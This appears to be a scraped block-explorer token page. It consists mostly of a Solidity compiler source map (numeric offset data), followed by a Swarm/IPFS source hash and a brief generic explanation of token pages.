;;;;;;;:30;1476:7;1454:30;;;;;;;;;;;;;;;:39;;;;1530:7;1509:37;;1518:10;1509:37;;;1539:6;1509:37;;;;;;:::i;:::-;;;;;;;;1564:4;1557:11;;1308:268;;;;:::o;221:64::-;212:2;273;:12;;;;:::i;:::-;259:11;:26;;;;:::i;:::-;221:64;:::o;1782:258::-;1864:4;1888:11;;;;;;;;;;;1880:51;;;;;;;;;;;;:::i;:::-;;;;;;;;;1973:6;1942:9;:15;1952:4;1942:15;;;;;;;;;;;;;;;:27;1958:10;1942:27;;;;;;;;;;;;;;;;:37;;;;;;;:::i;:::-;;;;;;;;2005:27;2015:4;2021:2;2025:6;2005:9;:27::i;:::-;1998:34;;1782:258;;;;;:::o;179:35::-;212:2;179:35;:::o;2897:212::-;2994:8;;;;;;;;;;;2980:22;;:10;:22;;;2972:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;3057:7;3044:10;:20;;;;3091:10;3075:13;:26;;;;2897:212;;:::o;363:45::-;;;;;;;;;;;;;;;;;:::o;765:31::-;;;;;;;;;;;;;:::o;133:39::-;;;;;;;;;;;;;;;;;;;:::o;974:326::-;1043:11;;;;;;;;;;;1042:12;1034:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;1111:9;1100:8;;:20;;;;;;;;;;;;;;;;;;1145:4;1131:11;;:18;;;;;;;;;;;;;;;;;;212:2;273;:12;;;;:::i;:::-;259:11;:26;;;;:::i;:::-;1160:9;:20;1170:9;1160:20;;;;;;;;;;;;;;;:34;;;;1231:9;1210:44;;1227:1;1210:44;;;212:2;273;:12;;;;:::i;:::-;259:11;:26;;;;:::i;:::-;1210:44;;;;;;:::i;:::-;;;;;;;;1282:9;1270:22;;;;;;;;;;;;974:326;:::o;1584:190::-;1648:4;1672:11;;;;;;;;;;;1664:51;;;;;;;;;;;;:::i;:::-;;;;;;;;;1733:33;1743:10;1755:2;1759:6;1733:9;:33::i;:::-;1726:40;;1584:190;;;;:::o;2675:214::-;2740:8;;;;;;;;;;;2726:22;;:10;:22;;;2718:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;2804:11;;;;;;;;;;;2803:12;2795:49;;;;;;;;;;;;:::i;:::-;;;;;;;;;2869:4;2855:11;;:18;;;;;;;;;;;;;;;;;;2675:214::o;326:28::-;;;;:::o;735:23::-;;;;;;;;;;;;;:::o;415:66::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;294:25::-;;;;:::o;2048:619::-;2127:4;2151:11;;;;;;;;;;;:31;;;;2174:8;;;;;;;;;;;2166:16;;:4;:16;;;2151:31;:49;;;;2192:8;;;;;;;;;;;2186:14;;:2;:14;;;2151:49;2143:58;;;;;;2218:11;;;;;;;;;;;2217:12;:34;;;;;2249:1;2233:18;;:4;;;;;;;;;;;:18;;;2217:34;:48;;;;;2264:1;2255:6;:10;2217:48;2214:75;;;2287:2;2280:4;;:9;;;;;;;;;;;;;;;;;;2214:75;2321:6;2302:9;:15;2312:4;2302:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;2359:4;2343:21;;:4;:21;;;2340:222;;2380:19;2457:3;2420:4;;;;;;;;;;;2412:12;;:4;:12;;;:41;;2440:13;;2412:41;;;2427:10;;2412:41;2402:6;:52;;;;:::i;:::-;:58;;;;:::i;:::-;2380:80;;2485:11;2475:21;;;;;:::i;:::-;;;2539:11;2511:9;:24;2529:4;2511:24;;;;;;;;;;;;;;;;:39;;;;;;;:::i;:::-;;;;;;;;2365:197;2340:222;2589:6;2572:9;:13;2582:2;2572:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;2626:2;2611:26;;2620:4;2611:26;;;2630:6;2611:26;;;;;;:::i;:::-;;;;;;;;2655:4;2648:11;;2048:619;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:474::-;4921:6;4929;4978:2;4966:9;4957:7;4953:23;4949:32;4946:119;;;4984:79;;:::i;:::-;4946:119;5104:1;5129:53;5174:7;5165:6;5154:9;5150:22;5129:53;:::i;:::-;5119:63;;5075:117;5231:2;5257:53;5302:7;5293:6;5282:9;5278:22;5257:53;:::i;:::-;5247:63;;5202:118;4853:474;;;;;:::o;5333:329::-;5392:6;5441:2;5429:9;5420:7;5416:23;5412:32;5409:119;;;5447:79;;:::i;:::-;5409:119;5567:1;5592:53;5637:7;5628:6;5617:9;5613:22;5592:53;:::i;:::-;5582:63;;5538:117;5333:329;;;;:::o;5668:118::-;5755:24;5773:5;5755:24;:::i;:::-;5750:3;5743:37;5668:118;;:::o;5792:222::-;5885:4;5923:2;5912:9;5908:18;5900:26;;5936:71;6004:1;5993:9;5989:17;5980:6;5936:71;:::i;:::-;5792:222;;;;:::o;6020:474::-;6088:6;6096;6145:2;6133:9;6124:7;6120:23;6116:32;6113:119;;;6151:79;;:::i;:::-;6113:119;6271:1;6296:53;6341:7;6332:6;6321:9;6317:22;6296:53;:::i;:::-;6286:63;;6242:117;6398:2;6424:53;6469:7;6460:6;6449:9;6445:22;6424:53;:::i;:::-;6414:63;;6369:118;6020:474;;;;;:::o;6500:177::-;6640:29;6636:1;6628:6;6624:14;6617:53;6500:177;:::o;6683:366::-;6825:3;6846:67;6910:2;6905:3;6846:67;:::i;:::-;6839:74;;6922:93;7011:3;6922:93;:::i;:::-;7040:2;7035:3;7031:12;7024:19;;6683:366;;;:::o;7055:419::-;7221:4;7259:2;7248:9;7244:18;7236:26;;7308:9;7302:4;7298:20;7294:1;7283:9;7279:17;7272:47;7336:131;7462:4;7336:131;:::i;:::-;7328:139;;7055:419;;;:::o;7480:180::-;7528:77;7525:1;7518:88;7625:4;7622:1;7615:15;7649:4;7646:1;7639:15;7666:102;7708:8;7755:5;7752:1;7748:13;7727:34;;7666:102;;;:::o;7774:848::-;7835:5;7842:4;7866:6;7857:15;;7890:5;7881:14;;7904:712;7925:1;7915:8;7912:15;7904:712;;;8020:4;8015:3;8011:14;8005:4;8002:24;7999:50;;;8029:18;;:::i;:::-;7999:50;8079:1;8069:8;8065:16;8062:451;;;8494:4;8487:5;8483:16;8474:25;;8062:451;8544:4;8538;8534:15;8526:23;;8574:32;8597:8;8574:32;:::i;:::-;8562:44;;7904:712;;;7774:848;;;;;;;:::o;8628:1073::-;8682:5;8873:8;8863:40;;8894:1;8885:10;;8896:5;;8863:40;8922:4;8912:36;;8939:1;8930:10;;8941:5;;8912:36;9008:4;9056:1;9051:27;;;;9092:1;9087:191;;;;9001:277;;9051:27;9069:1;9060:10;;9071:5;;;9087:191;9132:3;9122:8;9119:17;9116:43;;;9139:18;;:::i;:::-;9116:43;9188:8;9185:1;9181:16;9172:25;;9223:3;9216:5;9213:14;9210:40;;;9230:18;;:::i;:::-;9210:40;9263:5;;;9001:277;;9387:2;9377:8;9374:16;9368:3;9362:4;9359:13;9355:36;9337:2;9327:8;9324:16;9319:2;9313:4;9310:12;9306:35;9290:111;9287:246;;;9443:8;9437:4;9433:19;9424:28;;9478:3;9471:5;9468:14;9465:40;;;9485:18;;:::i;:::-;9465:40;9518:5;;9287:246;9558:42;9596:3;9586:8;9580:4;9577:1;9558:42;:::i;:::-;9543:57;;;;9632:4;9627:3;9623:14;9616:5;9613:25;9610:51;;;9641:18;;:::i;:::-;9610:51;9690:4;9683:5;9679:16;9670:25;;8628:1073;;;;;;:::o;9707:281::-;9765:5;9789:23;9807:4;9789:23;:::i;:::-;9781:31;;9833:25;9849:8;9833:25;:::i;:::-;9821:37;;9877:104;9914:66;9904:8;9898:4;9877:104;:::i;:::-;9868:113;;9707:281;;;;:::o;9994:410::-;10034:7;10057:20;10075:1;10057:20;:::i;:::-;10052:25;;10091:20;10109:1;10091:20;:::i;:::-;10086:25;;10146:1;10143;10139:9;10168:30;10186:11;10168:30;:::i;:::-;10157:41;;10347:1;10338:7;10334:15;10331:1;10328:22;10308:1;10301:9;10281:83;10258:139;;10377:18;;:::i;:::-;10258:139;10042:362;9994:410;;;;:::o;10410:194::-;10450:4;10470:20;10488:1;10470:20;:::i;:::-;10465:25;;10504:20;10522:1;10504:20;:::i;:::-;10499:25;;10548:1;10545;10541:9;10533:17;;10572:1;10566:4;10563:11;10560:37;;;10577:18;;:::i;:::-;10560:37;10410:194;;;;:::o;10610:176::-;10750:28;10746:1;10738:6;10734:14;10727:52;10610:176;:::o;10792:366::-;10934:3;10955:67;11019:2;11014:3;10955:67;:::i;:::-;10948:74;;11031:93;11120:3;11031:93;:::i;:::-;11149:2;11144:3;11140:12;11133:19;;10792:366;;;:::o;11164:419::-;11330:4;11368:2;11357:9;11353:18;11345:26;;11417:9;11411:4;11407:20;11403:1;11392:9;11388:17;11381:47;11445:131;11571:4;11445:131;:::i;:::-;11437:139;;11164:419;;;:::o;11589:180::-;11729:32;11725:1;11717:6;11713:14;11706:56;11589:180;:::o;11775:366::-;11917:3;11938:67;12002:2;11997:3;11938:67;:::i;:::-;11931:74;;12014:93;12103:3;12014:93;:::i;:::-;12132:2;12127:3;12123:12;12116:19;;11775:366;;;:::o;12147:419::-;12313:4;12351:2;12340:9;12336:18;12328:26;;12400:9;12394:4;12390:20;12386:1;12375:9;12371:17;12364:47;12428:131;12554:4;12428:131;:::i;:::-;12420:139;;12147:419;;;:::o;12572:181::-;12712:33;12708:1;12700:6;12696:14;12689:57;12572:181;:::o;12759:366::-;12901:3;12922:67;12986:2;12981:3;12922:67;:::i;:::-;12915:74;;12998:93;13087:3;12998:93;:::i;:::-;13116:2;13111:3;13107:12;13100:19;;12759:366;;;:::o;13131:419::-;13297:4;13335:2;13324:9;13320:18;13312:26;;13384:9;13378:4;13374:20;13370:1;13359:9;13355:17;13348:47;13412:131;13538:4;13412:131;:::i;:::-;13404:139;;13131:419;;;:::o;13556:174::-;13696:26;13692:1;13684:6;13680:14;13673:50;13556:174;:::o;13736:366::-;13878:3;13899:67;13963:2;13958:3;13899:67;:::i;:::-;13892:74;;13975:93;14064:3;13975:93;:::i;:::-;14093:2;14088:3;14084:12;14077:19;;13736:366;;;:::o;14108:419::-;14274:4;14312:2;14301:9;14297:18;14289:26;;14361:9;14355:4;14351:20;14347:1;14336:9;14332:17;14325:47;14389:131;14515:4;14389:131;:::i;:::-;14381:139;;14108:419;;;:::o;14533:180::-;14581:77;14578:1;14571:88;14678:4;14675:1;14668:15;14702:4;14699:1;14692:15;14719:185;14759:1;14776:20;14794:1;14776:20;:::i;:::-;14771:25;;14810:20;14828:1;14810:20;:::i;:::-;14805:25;;14849:1;14839:35;;14854:18;;:::i;:::-;14839:35;14896:1;14893;14889:9;14884:14;;14719:185;;;;:::o;14910:191::-;14950:3;14969:20;14987:1;14969:20;:::i;:::-;14964:25;;15003:20;15021:1;15003:20;:::i;:::-;14998:25;;15046:1;15043;15039:9;15032:16;;15067:3;15064:1;15061:10;15058:36;;;15074:18;;:::i;:::-;15058:36;14910:191;;;;:::o

Swarm Source

ipfs://19189b2bb277dc9ae5f0ffc8873818c7d38cbc990fc445ee744ec4f23f249694
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.